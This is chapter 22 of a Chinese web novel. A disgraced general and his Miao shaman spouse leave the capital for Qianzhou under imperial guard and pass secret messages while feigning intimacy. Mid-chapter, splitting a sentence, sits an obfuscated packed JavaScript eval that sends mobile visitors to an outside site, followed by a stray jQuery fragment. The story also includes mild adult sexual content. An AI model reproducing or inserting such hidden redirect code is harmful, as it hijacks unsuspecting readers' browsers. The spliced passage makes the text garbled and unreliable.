22.第 22 章
    第二天,宫里就送来了圣旨,说陛下宽厚仁慈,念在祁雁平叛苗乱有功,又为大雍抗击匈奴、戍边十余载的份上,赦免他谋逆之罪,并命他远赴苗疆,出任黔州观察使,监督考核当地官员。

    在此之前,黔州从未单独设立过观察使,皆由当地刺史兼任,季渊这么一搞,算是又把祁雁推到了风口浪尖,这些苗人本就不服汉人管教,叛乱被祁雁平息,已经憋了一口气,再得知祁雁担任监察使,只能是恨上加恨,哪天再反一次把他杀了都不足为奇。

    祁雁听到圣旨内容的时候,就已经猜到了季渊给他安排的结局,到时候他死在苗疆,将锅推给苗人,季渊又能借此机会打压苗众一波。

    不论是他,还是苗霜这个大巫,一个都别想活。

    祁雁脸上没什么表情,只平淡地接过圣旨:“臣领旨谢恩。”

    来福送走了来宣旨的太监,又慌慌张张地跑了回来,焦急询问:“将军,您真的要去黔州?”

    祁雁淡淡地嗯了一声:“昨晚苗霜不是告诉你了吗?”

    “夫人是说了,可是,可是……”来福急得眼圈发红,扑通一声在他面前跪了下来,“将军,要不您带上小人吧!黔州那么远,路上您和夫人肯定需要人照顾……”

    祁雁轻叹口气,打断了他:“来福。”

    来福眼泪汪汪地抬起头看他。

    “我们这一去生死未卜,能不能回来还是未知数,或许今日一别就是永诀,你只是个小厮,离开将军府,再去找点别的活儿干,没必要跟着我们,把命都搭上。”

    “将军……”

    “若我有朝一日还能回到这京都晏安,定去找你回来,再让你当这府内管家,你看可好?”

    来福拼命抹眼泪,却越抹越多,已是泣不成声:“我……小的……”

    祁雁拍了拍他的肩膀,又看向卢方:“卢先生。”

    卢方也有些哽咽,他上前一步:“将军。”

    祁雁将早已写好的信递给他:“待我们启程,你也带着小满离开京都吧,我会让来福给你们准备好盘缠,等过段时间风波平息,你就拿着这封信去找信里提到的人,地址我也写在字条上塞进信封里了,他会教小满习武,不过此人性情古怪,若是他不开门,你就报上我的名字,多敲几遍。”

    卢方颤抖着接过信封,深深一揖:“我替小女……谢将军!”

    卢小满懵懵懂懂,显然还没理解他们说的话:“‘钱’州是哪里呀?祁哥哥和苗霜哥哥要去哪里?我们要去找谁?”

    祁雁没有回答女孩的话,只转动轮椅回到房间。

    “你完全可以不管他们,”苗霜正在收拾自己的那堆瓶瓶罐罐,“就把他们留在此处,反正皇帝赏了你那么多银子,随便拿出来一点,都够雇他们一辈子了。”

    祁雁摇了摇头:“让他们留在府中总归不安全,我们一走,陛下指不定会做出什么事,不如就留给他一座空宅,他安心,我们也安心。”

    “随你,”苗霜将瓶瓶罐罐整齐码进箱子里,“既然要留给他一座空宅,那所有的东西我们都带走,药材、银子、布匹……好不容易从皇帝手里抠来的,可不能再被他拿回去了。”

    “好,银子给来福他们分一些,其他的都归你处理。”

    一道圣旨让好不容易安顿下来的将军府再次紧张起来,来福刚开始置办的年货也搁置了,年味在紧锣密鼓的收拾当中烟消云散,赶在年关之前,祁雁踏上了远赴黔州的任途。

    这日,车马停在将军府门前,府里的下人已经走得差不多了,只剩来福和卢方父女留到了最后。

    马车是特制的,比寻常马车宽敞许多,可以直接将轮椅推上去,来福搭好了木板斜坡,帮忙推祁雁上车,看起来又有点想哭。

    苗霜向府外望去。

    他们的队伍总共三辆马车,前面两辆载人,除了他和祁雁所乘的这辆,另一辆辆坐的应该是祝公公,还带了两个小太监服侍他。

    最后面的一辆马车负责拉货,他们的金银细软都放在上面。

    苗霜挑了挑眉,也跟着跳上马车,闩死车门。

    这辆特制的马车车厢内地面上开了道凹槽,祁雁将轮椅的轮子卡进其中,以免在路途中晃动,由于是冬天出发,马车四壁都粘了厚厚的毛毡,用来抵御严寒。

    车厢里还算暖和,苗霜在他对面坐下,撩开车帘往外看:“前面那些是什么人?”

    十几个骑兵在他们的队伍前开路,皆骑着枣红色的高头大马,重甲加身,看起来威风凛凛。

    “禁军,赤麟卫,陛下的亲兵。”祁雁道。

    “就是你说陛下把你调回京都时让你管的禁军?”

    “嗯,不过都是些生面孔,禁军分为许多支,赤麟卫只是其中一支,我也不是所有人都见过。”

    正说话间,马车突然一震,马蹄声响了起来,带着队伍向前行进。

    来福背着包袱追在马车后面,红着眼圈冲他们大喊:“将军!夫人!一路小心啊!”

    苗霜朝他摆了摆手。

    卢方抱着女儿站在将军府门前,也忍不住偷偷擦拭眼泪。

    卢小满十分努力地冲他们挥手,祁雁最后看了一眼将军府的方向,厚重的大门在他们身后缓缓关上。

    他微不可闻地叹了口气,收回了视线。

    离开将军府,更多的赤麟卫从后方追赶上来,将他们的队伍夹在其中,苗霜有些诧异道:“这么大阵仗?护送这么几个人,要出动这么多禁军吗?”

    祁雁没有吭声。

    赤麟卫来到他们的车驾两侧,苗霜放下车帘。

    这季渊真是对祁雁忌惮至极。

    哪怕祁雁已经是个武功尽失的废人,连轮椅都离不开,季渊依然放心不下,甚至要派亲兵“护送”。

    这帮人该不会要一直护送他们到苗疆吧?

    茶已经沏好了,祁雁给苗霜倒了一杯:“夫人喝茶。”

    苗霜回过神来,听着外面杂乱的马蹄声,顿时明白了他的意思,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14347446|152073||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    笑吟吟道:“将军随我去苗疆,可后悔?”

    “为何后悔?”

    “黔地多山,雨水充沛,虫蛇遍布,和你的塞北可是大不相同,将军一个北方人,适应得了我们那里的气候吗?”

    “大漠的风沙我却也吃够了,从今往后夫人在哪,我就在哪,有夫人的地方就是家,塞北也好,晏安也好,黔州也好……都一样。”

    苗霜轻笑出声。

    外面偷听的赤麟卫被肉麻出了一身鸡皮疙瘩,急忙一夹马腹,跑去了车前。

    苗霜起身换了个位子,好好的座位不坐,偏要坐祁雁腿上,亲昵地勾住他的脖子,亲了亲他的唇角:“这三千里路,天寒地冻,将军可别死在路上。”

    祁雁脸上没一丝表情,语气却腻得要命:“为了夫人,为夫定活着走到苗寨。”

    他说着搂住了苗霜的腰身,抬起他一条腿,搭在了轮椅扶手上,熟练地解开他腰间系带,掌心粗糙的茧子抚上白皙细腻的皮肤。

    车内的空气逐渐暧昧,马蹄声中不知夹杂着谁的喘|息,祁雁低沉的嗓音微哑:“夫人想不想试试……在马车里,可会与平常不同?”

    苗霜呼出一口气:“好啊,总是那些花样,我也有些腻了,不如试试新鲜的。”

    赶车的车夫听着车厢内的对话,眼珠子差点从眼眶里瞪出来。

    为什么会有人能随时随地地干起来啊?!

    他现在到底是该把车赶得平稳一些,还是赶得颠簸一些??

    负责护送的赤麟卫们听着车厢里的动静,也是眉头紧锁,情不自禁地选择了敬而远之。

    车厢里,苗霜坐在祁雁身上,紧紧和他贴在一起,却是连衣服也没脱。

    祁雁揉搓着他腰侧的那一小块皮肤,另一只手越过他,蘸了茶水在桌上写字:“陛下命我担任观察使,很显然是要鹬蚌相争,坐收渔利,等我真走马上任,你要如何?”

    趴在车厢四壁上的几只蛊虫间歇振翅,发出酷似人类喘|息的暧昧声响。

    祁雁耳朵里传来尖锐的虫鸣,苗霜捉住他贴在自己腰侧的手,按到了大腿上:“且走一步看一步,大不了举族逃进南照,远走高飞。”

    祁雁皱了皱眉,写道:“这种话你也说得出口,你要是真敢反叛,我不介意和你玉石俱焚。”

    苗霜啃了啃他的喉结,笑着捧住他的脸:“你答应跟我去苗疆,不就是想以身为眼,亲自监督我?观察使……这个职位季渊倒也赐对了,将军,你为大雍这般出生入死,舍身取义,若这帝位最后没能落在你手里,我都要替你喊冤。”

    祁雁黑沉的眼眸注视着他,两人的视线无声交汇,爱|欲和敌意在这一刻达到了一丝微妙的平衡,终于被他逐渐加力的手指打破,朝着更深处捻去——

    忽然,前方传来的一阵嘈杂盖过了蛊虫振翅的声响,马车停了下来,祁雁动作猛地顿住。

    苗霜迅速收了蛊虫,祁雁轻咳一声,嗓音带着些纵|欲过后的嘶哑:“发生什么事了?”